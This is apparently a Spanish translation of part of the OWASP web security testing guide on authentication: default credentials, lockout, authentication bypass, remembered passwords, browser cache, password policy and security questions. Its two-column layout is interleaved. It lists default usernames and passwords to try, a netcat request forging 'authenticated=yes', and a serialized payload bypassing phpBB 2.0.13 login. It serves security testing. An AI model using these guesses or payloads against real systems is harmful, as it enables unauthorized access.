• SSL is not about encryption Pruebas de las credenciales por defecto de aplicaciones comunes
En la prueba de Caja Negra, el evaluador no sabe nada acerca de la

aplicación y su infraestructura subyacente. En realidad, esto no suele ser
Pruebas de las credenciales por defecto cierto, y se conoce alguna información acerca de la aplicación.
Supongamos que usted ha identificado, mediante el uso de las técnicas
(OTG-AUTHN-002) descritas en esta guía de pruebas bajo el capítulo de recolección de
información, por lo menos una o más aplicaciones comunes que pueden
Resumen contener interfaces administrativas accesibles.
En la actualidad, las aplicaciones web a menudo hacen uso de software

popular de código abierto o comercial que puede ser instalado en
servidores con configuración mínima o personalización para requisitos Cuando usted ha identificado una interfaz de aplicación, por ejemplo, una
particulares del administrador del servidor. Por otra parte, muchos interfaz del router de web Cisco o un portal administrador Weblogic,
dispositivos de hardware (routers de red y servidores de base de datos) compruebe que los nombres de usuario y contraseñas conocidos para
ofrecen configuración basada en web o interfaces administrativas. estos dispositivos no resulten en una autenticación exitosa. Para ello
puede consultar la documentación del fabricante o, de una manera mucho
más simple, usted puede encontrar credenciales comunes mediante la
búsqueda de un motor o utilizando uno de los sitios o herramientas
A menudo estas aplicaciones, una vez instaladas, no están configuradas enumeradas en la sección de referencia.
correctamente y las credenciales predeterminadas proporcionadas para
la autenticación inicial y configuración nunca son cambiadas. Estas
credenciales predeterminadas son bien conocidas por los evaluadores de
penetración y, por desgracia, también por atacantes maliciosos que Cuando se enfrente a aplicaciones donde no tiene una lista de cuentas de
pueden utilizarlas para tener acceso a varios tipos de aplicaciones. usuario común o por defecto (por ejemplo debido a que la aplicación no
es
Además, en muchas situaciones, cuando se crea una nueva cuenta en una
aplicación, una contraseña por defecto (con algunas características
estándar) se genera. Si esta contraseña es predecible y el usuario no la
cambia en el primer acceso, esto puede llevar a un atacante a obtener conocida), podemos intentar adivinar las credenciales válidas por
acceso no autorizado a la aplicación. defecto. Note que la aplicación probada puede tener una política de
bloqueo de cuentas habilitada y múltiples intentos de adivinar la
contraseña con un nombre de usuario conocido, lo que puede causar que
la cuenta se bloquee. Si es posible bloquear la cuenta del administrador,
La causa principal de este problema puede ser identificada como: puede ser problemático para el administrador del sistema restablecerla.
• Personal técnico sin experiencia que no es consciente de la importancia de Muchas aplicaciones tienen mensajes de error detallados que informan a
cambiar las contraseñas por defecto en componentes de la infraestructura los usuarios sobre la validez de nombres de usuario introducidos. Esta
instalada o dejar la contraseña por defecto para "facilidad de información será útil cuando se busquen cuentas de usuario por defecto
mantenimiento". o predecibles. Dicha funcionalidad puede encontrarse, por ejemplo, en las
páginas de registro, restablecimiento de contraseña, contraseña olvidada
• Programadores que dejan puertas traseras para tener fácil acceso y probar y de inscripción. Una vez que ha encontrado un nombre de usuario por
su aplicación y después olvidan eliminarlas. defecto, también podría empezar a adivinar contraseñas para esta cuenta.

103
• Busque nombres de cuentas y contraseñas en los comentarios del código

fuente. También busque en directorios de respaldo el código fuente (o copias
Puede encontrar más información acerca de este procedimiento en la de seguridad del código fuente) que pueden contener comentarios y códigos
sección Probando la enumeración de usuarios y cuentas de usuario interesantes.
predecibles y en la sección de Probando políticas de contraseñas débiles.
Prueba de las contraseñas por defecto en cuentas nuevas

Puesto que estos tipos de credenciales predeterminadas están limitados a
menudo a cuentas administrativas, puede proceder de la siguiente Cuando se crea una cuenta nueva en una aplicación, también puede
manera: ocurrir que a la cuenta se le asigne una contraseña por defecto. Esta
contraseña podría tener algunas características estándar, lo que la hace
predecible.
• Intente usar los siguientes nombres de usuario - “admin”, “administrator”,

“root”, “system”, “guest”, “operator”, o “super”. Éstos son populares entre los
administradores de sistemas y son de uso frecuente. Además, podría tratar Si el usuario no la cambia en el primer uso (esto sucede a menudo si el
“qa”, “test”, “test1”, “testing” y nombres similares. Pruebe cualquier usuario no está obligado a cambiarlo), o si el usuario todavía no ha
combinación de los anteriores en el nombre de usuario y los campos de iniciado una sesión en la aplicación, esto puede llevar a un atacante a
contraseña. Si la aplicación es vulnerable a la enumeración de nombres de obtener acceso no autorizado a la aplicación.
usuario y logra identificar con éxito cualquiera de los nombres de usuario
anteriores, intente las contraseñas de una manera similar. Además, intente con
una contraseña vacía o una de los siguientes “password”, “pass123”,
“password123”, “admin”, o “guest” con las cuentas anteriores o cualquier otra El asesoramiento previo sobre una posible política de bloqueo y mensajes
cuenta enumerada. También puede intentar más permutaciones de las de error detallados también son aplicables aquí, cuando se evalúan las
anteriores. Si estas contraseñas fallan, valdría la pena intentar usar una lista contraseñas por defecto.
común de nombres de usuario y contraseñas y realizar varias peticiones contra
la aplicación. Esto puede, sin duda, ser secuenciado para ahorrar tiempo.
• Los usuarios administradores de una aplicación se nombran a menudo con el Los siguientes pasos pueden aplicarse para probar estos tipos de
nombre de la aplicación u organización. Esto significa que si está probando credenciales predeterminadas:
una aplicación denominada "Oscuridad", intente usar oscuridad/oscuridad o
cualquier otra combinación similar como el nombre de usuario y contraseña. •
Cuando se realiza una prueba para un cliente, inténtelo usando los nombres de
contactos que reciban como nombres de usuario con contraseñas comunes. • Mirar en la página de registro de usuarios puede ayudar a determinar el
Las direcciones de correo electrónico de clientes revelan el acuerdo de formato esperado y la longitud mínima o máxima de nombres y contraseñas
nombres para cuentas del usuario: si el empleado John Doe tiene la dirección de la aplicación. Si no existe una página de registro de usuarios, determine si
de correo electrónico jdoe@example.com, puede tratar de encontrar los la organización utiliza un acuerdo de nomenclatura estándar para los nombres
nombres de los administradores de sistemas en las redes sociales y adivinar su de usuario como su dirección de correo electrónico o el nombre antes de la
nombre de usuario mediante la aplicación de la misma convención a su "@" en el correo electrónico.
nombre.
• Trate de extrapolar, a partir de la aplicación, cómo se generan los nombres
de usuario. Por ejemplo, ¿un usuario puede escoger su propio nombre de
usuario o el sistema genera un nombre de cuenta para el usuario basado en
• Trate de usar todos los nombres de usuario anteriores con contraseñas en alguna información personal o usando una secuencia predecible? Si la
blanco. aplicación genera los nombres de cuenta en una secuencia predecible, como
user7811, trate de disolver recursivamente todas las cuentas posibles. Si puede
• Revise la fuente de la página y JavaScript, ya sea a través de un proxy o identificar una respuesta diferente de la aplicación cuando se utiliza un
mediante la visualización de la fuente. Busque cualquier referencia a los nombre de usuario válido y una contraseña incorrecta, entonces puede intentar
usuarios y contraseñas en la fuente. Por ejemplo “If username=’admin’ then un ataque forzoso con el nombre de usuario válido (o rápidamente probar
starturl=/admin.asp else /index.asp”. (para un registro exitoso versus un cualquiera de las contraseñas comunes identificadas antes en la sección de
registro fallido).También, si usted tiene una cuenta válida, entonces registre y referencia).
revise cada solicitud y respuesta para un registro válido versus un registro no
válido, como parámetros adicionales ocultos, peticiones GET interesantes
(login = yes), etc.
• Trate de determinar si la contraseña generada por el sistema es predecible.
Para ello, cree rápidamente muchas cuentas nuevas, una tras otra, para que
pueda comparar y determinar si las contraseñas son predecibles. Si son
104
previsibles, intente correlacionar estas con los nombres de usuario o las

cuentas enumeradas y utilizarlas como base para un ataque forzado.
Referencias
• Si usted ha identificado el acuerdo de nomenclatura correcta para el nombre
de usuario, trate de "forzar" contraseñas con alguna secuencia predecible Libros Blancos
común, por ejemplo, las fechas de nacimiento.
• CIRT: cirt.net
• Trate de usar todos los nombres de usuario anteriores con contraseñas en
blanco, o utilice también el nombre de usuario como valor de la contraseña. • Government Security - Default Logins and Passwords for Networked
Devices: governmentsecurity.org
• Virus.org: virus.org
Prueba de Caja Gris
Los siguientes pasos se basan completamente en un enfoque de Caja Gris.

Si sólo dispone de una parte de esta información, consulte las pruebas de
Caja Negra para rellenar los espacios.
Pruebas para determinar un mecanismo de
bloqueo débil (OTG-AUTHN-003)
• Hable con el personal de IT para determinar qué contraseñas utilizan para el
acceso administrativo y cómo se lleva a cabo la administración de la Resumen
aplicación.
Los mecanismos de bloqueo se utilizan para mitigar los ataques de fuerza
bruta o adivinanza de contraseñas. Las cuentas se bloquean normalmente
después de tres a cinco intentos de inicio de sesión sin éxito y solo
• Pregunte al personal de IT si se cambian las contraseñas por defecto y si las
pueden ser desbloqueadas después de un periodo determinado de
cuentas de usuario por defecto están deshabilitadas.
tiempo, a través de la intervención de un administrador. Los mecanismos
de bloqueo de cuenta requieren un equilibrio entre la protección de
• Examine la base de datos del usuario en busca de credenciales
cuentas de acceso no autorizado y proteger a los usuarios de una negativa
predeterminadas como se describe en la sección de pruebas de Caja Negra.
al acceso autorizado.
También busque campos de contraseña vacíos.
• Examine el encriptado de código duro para nombres de usuario y

contraseñas.
Tome en cuenta que esta prueba debe cubrir todos los aspectos de
• Verifique los archivos de configuración que pueden contener nombres de autenticación donde los mecanismos de bloqueo serían apropiados, por
usuario y contraseñas. ejemplo, cuando al usuario se le presentan preguntas de seguridad en
mecanismos de contraseña olvidada (ver Pruebas para determinar la
• Examine la política de contraseñas y, si la aplicación genera sus propias seguridad débil de pregunta/respuesta (OTG-AUTHN-008)).
contraseñas para los usuarios nuevos, revise la política en el uso de este
procedimiento.
Sin un mecanismo de bloqueo fuerte, la aplicación puede ser susceptible a

ataques de fuerza bruta. Después de un ataque de fuerza bruta exitoso,
un usuario malintencionado podría tener acceso a:
Herramientas
• Información o datos confidenciales: Las secciones privadas de una
• Burp Intruder: portswigger.net aplicación web podrían revelar documentos confidenciales, datos de
perfil de los usuarios, información financiera, datos bancarios, relaciones
• THC Hydra: thc.org de los usuarios, etc..
• Brutus: hoobie.net
• Nikto 2: cirt.net • Los paneles de administración: Estas secciones son utilizadas por los
webmasters para gestionar (modificar, borrar, añadir) el contenido de

105
aplicaciones web, gestión de creación de usuarios, asignar diferentes [6] Inicie la sesión con la contraseña correcta. La aplicación devuelve "su
privilegios a los usuarios, etc. cuenta está bloqueada.", confirmando así que la cuenta se bloquea
después de cinco intentos de autenticación incorrecta.
[7] Intente entrar con la contraseña correcta cinco minutos más tarde. La
• Oportunidades para nuevos ataques: Las secciones de una aplicación aplicación devuelve "su cuenta está bloqueada.", lo que demuestra que el
web autenticadas pueden contener vulnerabilidades que no están mecanismo de bloqueo no se desbloquea automáticamente después de
cinco minutos.
[8] Intente entrar con la contraseña correcta diez minutos más tarde. La
presentes en la sección pública de la aplicación web y pueden contener aplicación devuelve "su cuenta está bloqueada.", lo que demuestra que el
funcionalidades avanzadas que no están disponibles para los usuarios mecanismo de bloqueo no se desbloquea automáticamente después de
públicos. diez minutos.
[9] Inicie éxitosamente la sesión con la contraseña correcta quince

minutos más tarde, lo que demuestra que el mecanismo de bloqueo se
Objetivos de la prueba desbloquea automáticamente después de un período de diez a quince
minutos.
• Evaluar la capacidad del mecanismo de bloqueo de cuentas para mitigar
el ingreso forzado adivinando contraseñas.
• Evaluar la resistencia del mecanismo de liberación para abrir sin Un CAPTCHA puede dificultar los ataques de fuerza bruta, pero puede
autorización la cuenta. venir con su propio conjunto de debilidades (ver Probando el CAPTCHA)
y no debe reemplazar a un mecanismo de bloqueo.
Cómo probar
Para evaluar la resistencia del mecanismo de liberación para desbloquear
Por lo general, para probar la fuerza de los mecanismos de bloqueo, se la cuenta, inicie el mecanismo de desbloqueo y busque las debilidades.
necesitará acceso a una cuenta a la que usted esté dispuesto o pueda
darse el lujo de bloquear. Si tiene solo una cuenta con la que puede iniciar
una sesión en la aplicación web, realice esta prueba al final del plan de
pruebas para evitar que usted no pueda continuar su prueba debido a una Los mecanismos tipicos de desbloqueo pueden involucrar preguntas
cuenta bloqueada. secretas o un link de desbloqueo por correo electrónico.El enlace de
desbloqueo deberá ser un enlace único de un solo uso, para evitar que un
atacante adivine o reproduzca el enlace y realice ataques forzosos en
lotes. Las preguntas y respuestas secretas deben ser fuertes (ver
Para evaluar la capacidad del mecanismo de bloqueo de cuentas para Probando pregunta/respuesta de seguridad débil).
mitigar el forzado o adivinanza de contraseñas, intente realizar un
registro inválido mediante el uso de la contraseña incorrecta varias veces,
antes de utilizar la contraseña correcta para verificar que la cuenta fue
bloqueada. El siguiente es un ejemplo de la prueba:
Note que un mecanismo de desbloqueo debe ser utilizado para

desbloqueo de cuentas. No es lo mismo que un mecanismo de
[1] Intente iniciar la sesión con una contraseña incorrecta tres veces. recuperación de contraseña.
[2] Inicie la sesión con la contraseña correcta, lo que demuestra que no se

activa el mecanismo de bloqueo después de tres intentos de
autenticación incorrecta. Los factores a considerar cuando se implementa un mecanismo de
bloqueo de cuenta son los siguientes:
[3] Intente iniciar la sesión con una contraseña incorrecta cuatro veces.
[4] Inicie la sesión con la contraseña correcta, lo que demuestra que no se

activa el mecanismo de bloqueo después de cuatro intentos de [1] ¿Cuál es el riesgo de forzado o adivinanza de contraseñas en la aplicación?
autenticación incorrecta.
[2] ¿Basta un CAPTCHA para mitigar este riesgo?
[5] Intente iniciar la sesión con una contraseña incorrecta cinco veces.
106
[3] El número de intentos de registro fallidos antes del bloqueo. Si el umbral

de bloqueo es bajo, entonces los usuarios válidos pueden ser bloqueados a
menudo. Si el umbral de bloqueo es alto, entonces el atacante tiene más
intentos para forzar la cuenta antes de que se bloquee. Dependiendo del
propósito de la aplicación, una rango entre cinco a diez intentos sin éxito es
un umbral de bloqueo típico.
[4] ¿Cómo se desbloquean las cuentas? Pruebas para eludir el esquema de

• Manualmente, por un administrador: este es el método más seguro de autenticación (OTG-AUTHN-004)
desbloqueo, pero puede causar molestias a los usuarios y tomar tiempo
"valioso" del administrador. Resumen
- Observe que el administrador también debe tener un método de recuperación Mientras que la mayoría de las aplicaciones requieren autenticación para
en caso de que su cuenta sea bloqueada. tener acceso a información privada o para ejecutar las tareas, no todos los
métodos de autenticación son capaces de proporcionar una seguridad
- El mecanismo de desbloqueo puede conducir a un ataque de negación de adecuada. La negligencia, ignorancia o una simple subvaloración de las
servicio si el objetivo de un atacante es bloquear las cuentas de los usuarios de amenazas de seguridad, a menudo resultan en esquemas de autenticación
la aplicación web.
que pueden evitarse simplemente obviando el registro en la página y
llamando directamente a una página interna que se supone debe
• Después de un período de tiempo: ¿Cuál es la duración del bloqueo? ¿Es
accederse sólo después de que se realizó la autenticación.
suficiente para que la aplicación esté protegida? Por ejemplo, una duración del
bloqueo de cinco a treinta minutos puede ser un buen acuerdo entre mitigar
los ataques de fuerza bruta y molestar a los usuarios válidos.
Además, a menudo es posible sortear las medidas de autenticación
• A través de un mecanismo de autoservicio: Como se dijo antes, este
alterando las solicitudes y engañando a la aplicación a pesar deque el
mecanismo de autoservicio debe ser lo suficientemente seguro para evitar que
usuario ya está autenticado. Esto se puede lograr modificando el
el atacante pueda abrir cuentas por sí mismo.
parámetro de URL determinado, mediante la manipulación de la forma o
por falsificación de las sesiones.
Referencias
Vea el articulo de OWASP Sobre Ataques Forzosos. Los problemas relacionados con el esquema de autenticación pueden
encontrarse en diferentes etapas del ciclo de vida de desarrollo de
software (SDLC), como las fases de diseño, desarrollo e implementación:
Remediación
Aplique mecanismos de desbloqueo de cuentas dependiendo del nivel de • En los errores de la fase de diseño, se puede incluir una definición
riesgo. En orden de menor a mayor seguridad: equivocada de las secciones de la aplicación a proteger, la opción de no
aplicar protocolos de encriptación fuertes para asegurar la transmisión
de las credenciales y muchos más.
• En los errores de la fase de desarrollo, se puede incluir la aplicación

incorrecta de la funcionalidad de validación de entrada o sin seguir las
[1] Bloqueo y desbloqueo temporizado. mejores prácticas de seguridad para el idioma específico.
[2] Desbloqueo con autoservicio (desbloqueo que envía un correo electrónico a la • En la fase de implementación de la aplicación, puede haber problemas
dirección de correo electrónico registrada). durante la instalación de la aplicación (actividades de instalación y
configuración) debido a la falta de habilidades técnicas requeridas o por
[3] Desbloqueo manual por un administrador. falta de una buena documentación.
[4] Desbloqueo manual por un administrador con identificación de usuario

positiva.
Cómo probar

107
Hay varios métodos para eludir el esquema de autenticación que es usado

http://www.site.com/page.asp?authenticated=no
por una aplicación web:
• Solicitud de página directa (navegación forzada)
• Modificación de parámetros
raven@blackbox /home $nc www.site.com 80

• Predicción de sesión ID
GET /page.asp?authenticated=yes HTTP/1.0

• Inyección de SQL
HTTP/1.1 200 OK
Solicitud de página directa
Date: Sat, 11 Nov 2006 10:22:44 GMT
Si una aplicación web implementa el control de acceso sólo en el registro
en la página, el esquema de autenticación se podría eludir. Por ejemplo, si
Server: Apache
un usuario solicita directamente una página diferente a través de la
navegación forzada, esa página puede no comprobar las credenciales del Connection: close
usuario antes de conceder el acceso. Intente acceder directamente a una
página protegida a través de la barra de direcciones en su navegador para Content-Type: text/html; charset=iso-8859-1
utilizar este método de prueba.
<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<HTML><HEAD>
</HEAD><BODY>
<H1>You Are Authenticated</H1>
</BODY></HTML>
Modificación de parámetros
Otro problema relacionado con el diseño de la autenticación es cuando la

aplicación verifica un inicio de sesión exitosa a base de parámetros de
valor fijo. Un usuario podría modificar estos parámetros para acceder a
las áreas protegidas sin proporcionar credenciales válidas. En el ejemplo
siguiente, el parámetro "authenticated" se cambia a un valor de "yes", que
le permite al usuario acceder. En este ejemplo, el parámetro está en la
URL, pero un proxy también podría ser utilizado para modificar el
parámetro, especialmente cuando los parámetros se envían como
elementos de formulario en una petición POST o cuando los parámetros
se almacenan en una cookie.
Predicción de sesión ID
Muchas aplicaciones web gestionan la autenticación mediante el uso de

identificadores de sesión (ID de la sesión). Por lo tanto, si es previsible la
generación de Identificadores de Sesión, un usuario malintencionado

108
podría ser capaz de encontrar un Identificador de Sesión válida y obtener Inyección de SQL (Formulario de Autenticación HTML)
acceso no autorizado a la aplicación, haciéndose pasar por un usuario
previamente autenticado. Una inyección de SQL es una técnica de ataque ampliamente conocida.
Esta sección no describirá esta técnica en detalle ya que hay varias
secciones en esta guía que explican técnicas de inyección más allá del
alcance de esta sección.
En la siguiente figura, los valores dentro de las cookies aumentan
linealmente, por lo que podría ser fácil para un atacante adivinar un
Identificador de Sesión válida.
La siguiente figura muestra que con un simple ataque de inyección de

SQL, a veces es posible eludir el formulario de autenticación.
En la siguiente figura, los valores dentro de las cookies cambian sólo

parcialmente, por lo que es posible restringir un ataque de fuerza bruta a
los campos definidos que se muestran a continuación.
Prueba de Caja Gris
Si un atacante ha podido obtener el código fuente de la aplicación

explotando una vulnerabilidad previamente descubierta (por ejemplo,
salto de directorio), o de un depósito web (aplicaciones de código
abierto), podrían realizarse ataques refinados contra la implementación
del proceso de autenticación.
En el ejemplo siguiente (PHPBB 2.0.13 - Vulnerabilidad de Salto de

Autenticación), en la línea 5 la función unserialize() analiza una cookie del
usuario y establece valores en el $row array. En la línea 10, la contraseña
hash del usuario MD5, almacenada dentro de la base de datos de acceso
restringido, se compara a la que se suministra.

109
1. if ( isset($HTTP_COOKIE_VARS[$cookiename . ‘_sid’]) ||
2. { Pruebas para recordatorios de contraseñas

3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename . ‘_data’] ) vulnerables (OTG-AUTHN-005)
?
Resumen
4.
Los navegadores a veces preguntarán al usuario si desea recordar la
5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename .
‘_data’])) : array(); contraseña que acaba de ingresar. El navegador entonces almacenará la
contraseña e ingresará automáticamente cada vez que el mismo formulario
6. de autenticación sea visitado. Esto es una conveniencia para el usuario.
7. $sessionmethod = SESSION_METHOD_COOKIE; Además, algunos sitios web ofrecen funcionalidades personalizadas de "
Recuérdame" para permitir que los usuarios mantengan su sesión en un
8. } sistema de cliente específico.
9.
10. if( md5($password) == $row[‘user_password’] && $row[‘user_active’]

) Tener al navegador guardando contraseñas no es sólo conveniente para
los usuarios finales, sino también para un atacante. Si un atacante puede
11. tener acceso al navegador de la víctima (por ejemplo, a través de un
ataque de Cross Site Scripting, o a través de un ordenador compartido),
12. { pueden recuperar las contraseñas almacenadas.
No es extraño que los navegadores almacenen las contraseñas de una

En PHP, una comparación entre un valor de la cadena y un valor booleano (1 manera fácilmente recuperable, sino que, incluso, si el navegador
- "TRUE"(verdadero)) siempre es "TRUE", por lo que mediante el almacena contraseñas encriptadas que sólo pueden ser recuperadas
suministro de la siguiente cadena (la parte importante es "b:1") a la función mediante el uso de una contraseña maestra, un atacante podría recuperar
unserialize(), es posible eludir el control de autenticación: la contraseña visitando el formulario de autenticación de la aplicación
web de destino, introducir el usuario de la víctima, y dejar que el
navegador introduzca la contraseña.
a:2:{s:11:”autologinid”;b:1;s:6:”userid”;s:1:”2”;}
Adicionalmente, donde se aplican funciones personalizadas de

"RememberMe", las debilidades en cómo la ficha es almacenada en el PC
del cliente (por ejemplo usando credenciales de base64 codificado como
Herramientas
ficha) podrían exponer las contraseñas de los usuarios. Desde principios
• WebScarab del 2014, la mayoría de navegadores principales anulan cualquier uso de
autocompletar = "off" con respecto a los formularios de contraseñas y
• WebGoat como resultado de esto las consultas previas ya que no son necesarias y
normalmente no se dan recomendaciones para desactivar esta
• OWASP Zed Attack Proxy (ZAP) característica. Sin embargo, esto también puede aplicarse a cosas como
secretos secundarios que se pueden almacenar en el navegador sin darse
cuenta.
Referencias
Libros Blancos Cómo probar
• Mark Roxberry: “PHPBB 2.0.13 vulnerability” • Busque las contraseñas que se almacenan en una cookie. Examine las
cookies almacenadas por la aplicación. Compruebe que las credenciales no se
• David Endler: “Session ID Brute Force Exploitation and Prediction” - almacenan en texto claro, sino con funciones hash.
http://www.cgisecurity.com/lib/SessionIDs.pdf

110
• Examinar el mecanismo de hashing: si se trata de un algoritmo común, bien comparten la misma debilidad de presentar información sensible previamente
conocido, compruebe su fuerza; en las funciones hash de creación propia ; mostrada.
intente varios nombres de usuario para comprobar si la función de hash es
fácilmente predecible.
• Compruebe que las credenciales sean enviadas solamente durante la fase el La primera y más simple prueba consiste en introducir información sensible
registro y no con cada solicitud a la aplicación. en la aplicación y cerrar la sesión. Entonces el evaluador hace clic en el botón
"Atrás" del navegador para comprobar si accede o muestra información
• Considere otros campos sensibles (por ejemplo, una respuesta a una sensible ingresada anteriormente sin ser autenticado.
pregunta secreta que debe ingresarse en una cuenta de recuperación de
contraseña o formulario de desbloqueo).
Si pulsamos el botón "Back", el evaluador puede acceder a páginas anteriores,

pero no acceder a las nuevas; entonces no es un problema de autenticación,
Remediación sino un problema de historia del navegador. Si estas páginas contienen datos
sensibles, esto significa que la aplicación no le prohibió al navegador su
Asegúrese que ninguna credencial sea almacenada en texto claro, o que almacenamiento.
sean fácilmente recuperables en forma codificada o encriptada en
cookies.
La autenticación no debe, necesariamente, estar implicada en la prueba. Por

ejemplo, cuando un usuario introduce su dirección de correo electrónico para
Pruebas para buscar la debilidad de memoria caché del navegador inscribirse a un boletín, esta información puede recuperarse si no se la maneja
(OTG-AUTHN-006) adecuadamente.
Resumen
En esta fase el evaluador comprueba que la aplicación indique correctamente El botón "Atrás" puede detenerse para que no muestre datos sensibles. Esto
al navegador que no recuerde datos sensibles. puede hacerse mediante:
• Entregar la página a través de https.
Los navegadores pueden almacenar información con fines de almacenamiento • Ajustando el Control de Caché: a "must-revalidate"
en caché e historia. El almacenamiento en caché se utiliza para mejorar el
rendimiento; así la información que apareció previamente no necesita
descargarse otra vez. Se utilizan mecanismos de historia para conveniencia del
usuario, por lo que él puede ver exactamente lo que vio en el momento de Cache de navegador
obtener el recurso.
Aquí los evaluadores comprueban que la aplicación no tiene fugas de
datos sensibles hacia la caché del navegador. Para ello, pueden utilizar un
proxy (como WebScarab) y buscar a través de las respuestas del servidor
Si se muestra información sensible al usuario (como su dirección, datos de que pertenecen al tiempo de la sesión, verificando que para cada página
tarjeta de crédito, número de seguro social o usuario), esta información podría que contenga información confidencial, el servidor instruyó al navegador
ser almacenada con fines de almacenamiento en caché o de historia y, por lo para que no almacene los datos en caché. Una directiva de este tipo puede
tanto, ser recuperables examinando la caché del navegador o pulsando el emitirse en los encabezados de respuesta HTTP:
botón "Atrás" del navegador.
• Cache-Control: no-cache, no-store
• Expires: 0
Cómo probar
• Pragma: no-cache
Historia del navegador
Técnicamente, el botón "Atrás" es una historia y no una memoria caché (ver

http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.13). La
memoria caché y la historia son dos entidades diferentes. Sin embargo,

111
Estas directivas son generalmente robustas, aunque indicadores Prueba de Caja Gris
adicionales pueden ser necesarios para el encabezado Cache-Control para
prevenir de una mejor manera los archivos vinculados persistentemente La metodología para la prueba es equivalente al caso de la Caja Negra, ya
en el sistema de archivos. Estos incluyen: que en ambos escenarios los evaluadores tienen acceso completo a las
cabeceras de respuesta del servidor y el código HTML. Sin embargo, con
• Cache-Control: must-revalidate, pre-check=0, post-check=0, max-age=0, s- pruebas de Caja Gris, el evaluador puede tener acceso a las credenciales
maxage=0 de la cuenta que les permitirá probar páginas sensibles que son
accesibles sólo a usuarios autenticados.
HTTP/1.1:
Herramientas
• OWASP Zed Attack Proxy
• Firefox add-on CacheViewer2

HTTP/1.0:
Pragma: no-cache
Referencias
Expires: <past date or illegal value (e.g., 0)>
Libros Blancos
• Caching in HTTP: w3.org

Por ejemplo, si los evaluadores están probando una aplicación de
comercio electrónico, deben buscar todas las páginas que contienen un
número de tarjeta de crédito o alguna otra información financiera y
comprobar que todas las páginas hacen cumplir la directiva de no-cache. Pruebas para determinar las políticas de contraseñas débiles (OTG-
Si encuentran páginas que contienen información crítica, pero que dejan AUTHN-007)
de indicarle al navegador no almacenar su contenido en caché, ellos saben
que la información sensible será almacenada en el disco, y pueden Resumen
comprobar esto simplemente buscando la página en el caché del
navegador. El mecanismo de autenticación más frecuente y más fácilmente
administrado es una contraseña estática. La contraseña representa las
llaves del reino, pero a menudo es devaluada por los usuarios en nombre
de la facilidad de uso. En cada uno de los últimos hacks de alto perfil que
La ubicación exacta donde se almacena esa información depende del han revelado las credenciales de usuario, se lamenta que las contraseñas
sistema operativo del cliente y el navegador que se ha utilizado. Estos son más comunes son: 123456, password y qwerty.
algunos ejemplos:
[1] Mozilla Firefox:
Determine la resistencia de la aplicación contra ataques de fuerza bruta o
• Unix/Linux: ~/.mozilla/firefox/<profile-id>/Cache/ adivinanza de contraseña usando diccionarios de contraseñas disponibles
mediante la evaluación de los requerimientos de longitud, complejidad,
• Windows: C:\Documents and Settings\<user_name>\Local reutilización y caducidad de las contraseñas.
Settings\Application Data\Mozilla\Firefox\Profiles\<profile-id>\Cache
[2] Internet Explorer:
• C:\Documents and Settings\<user_name>\Local Settings\Temporary Internet

Files Cómo probar
[1] ¿Qué caracteres son permitidos y prohibidos para usarse en una

contraseña? ¿El usuario necesita utilizar caracteres de diferentes conjuntos de

112
caracteres como letras minúsculas y mayúsculas, dígitos y símbolos Típicamente se generan con la creación de la cuenta y requieren que el
especiales? usuario seleccione algunas de las preguntas previamente generadas y
provea una respuesta adecuada. Puede permitir al usuario generar sus
[2] ¿Con qué frecuencia puede un usuario cambiar su contraseña? ¿Qué tan propios pares de preguntas y respuestas. Ambos métodos son propensos
rápido puede un usuario cambiar su contraseña después de un cambio a inseguridades. Idealmente, las preguntas de seguridad deben generar
anterior? Los usuarios pueden eludir requisitos de historial de contraseña respuestas que sólo son conocidas por el usuario y no pueden ser
cambiando su contraseña cinco veces seguidas para que después del último predichas o descubiertas por nadie más. Esto es más difícil de lo que
cambio de contraseña recuperen su contraseña inicial otra vez. suena.
[3] ¿Cuándo un usuario debe cambiar su contraseña? ¿Después de 90 días?

¿Después del bloqueo de la cuenta debido a un número excesivo de intentos
de inicio de sesión? Las preguntas y respuestas de seguridad se basan en el secreto de la
respuesta. Las preguntas y respuestas deben elegirse de modo que las
[4] ¿Con qué frecuencia puede un usuario reutilizar una contraseña? ¿La respuestas son sólo conocidas por el titular de la cuenta. Sin embargo,
aplicación mantiene un historial de las ultimas ocho contraseñas utilizadas aunque muchas respuestas no sean públicamente conocidas, la mayoría
por el usuario? de las preguntas que implementan los sitios web promueven respuestas
que son de carácter privado.
[5] ¿ Cuán diferente debe ser la nueva contraseña de la última contraseña
usada?
[6] ¿Se impide al usuario que utilice su nombre de usuario u otra información
Preguntas previamente generadas:
de la cuenta (como el primer o último nombre) en la contraseña?
La mayoría de preguntas previamente generadas son de naturaleza
bastante simple y pueden llevar a respuestas inseguras. Por ejemplo:
Referencias
• Las respuestas pueden ser conocidas por los familiares o amigos cercanos
del usuario, por ejemplo, "¿Cuál es el apellido de soltera de su madre?",
• Brute Force Attacks: owasp.org
"¿Cuál es su fecha de nacimiento?"
• Password length & complexity: owasp.org
• Las respuestas pueden ser fácilmente predecibles, e.g. "¿Cuál es su color
favorito?", "¿Cuál es su equipo favorito de béisbol?"
• Las respuestas pueden ser atacadas con fuerza bruta, por ejemplo, "¿Cuál es
Remediación
el nombre de su profesora favorita de secundaria?" - La respuesta está
probablemente en alguna lista fácilmente descargable de nombres populares y,
Para mitigar el riesgo de contraseñas fácilmente adivinables facilitando el
por lo tanto, un ataque de fuerza bruta simple puede secuenciarse en un script.
acceso no autorizado, hay dos soluciones: introducir controles de
autenticación adicionales (es decir, autenticación de dos factores) o introducir
• Las respuestas pueden ser públicamente visibles, por ejemplo, ¿cuál es su
una política de contraseñas fuertes. El más simple y más barato de estos es la
película favorita?"- la respuesta puede encontrarse fácilmente en la página de
introducción de una política de contraseña fuerte que asegura la longitud, la
perfil de redes sociales del usuario.
complejidad, la reutilización y la caducidad de la contraseña.
Preguntas generadas por el usuario:

Pruebas para determinar la seguridad débil de pregunta/respuesta
(OTG-AUTHN-008)
El problema de pedir a los usuarios que generen sus propias preguntas es
que les permite generar interrogantes muy inseguras, o incluso desviar la
Resumen
idea de tener una pregunta de seguridad en primer lugar. Aquí están
algunos ejemplos del mundo real que ilustran este punto:
A menudo llamadas preguntas y respuestas "secretas", las preguntas y
respuestas de seguridad se utilizan frecuentemente para recuperar contraseñas
olvidadas (véase Pruebas para determinar un cambio débil de contraseña o
funciones de restablecimiento (OTG-AUTHN-009)), o como seguridad
• “Cuánto es 1+1?”
adicional por encima de la contraseña.
• “¿Cuál es tu nombre de usuario?”
• “Mi clave es M3@t$p1N”

113
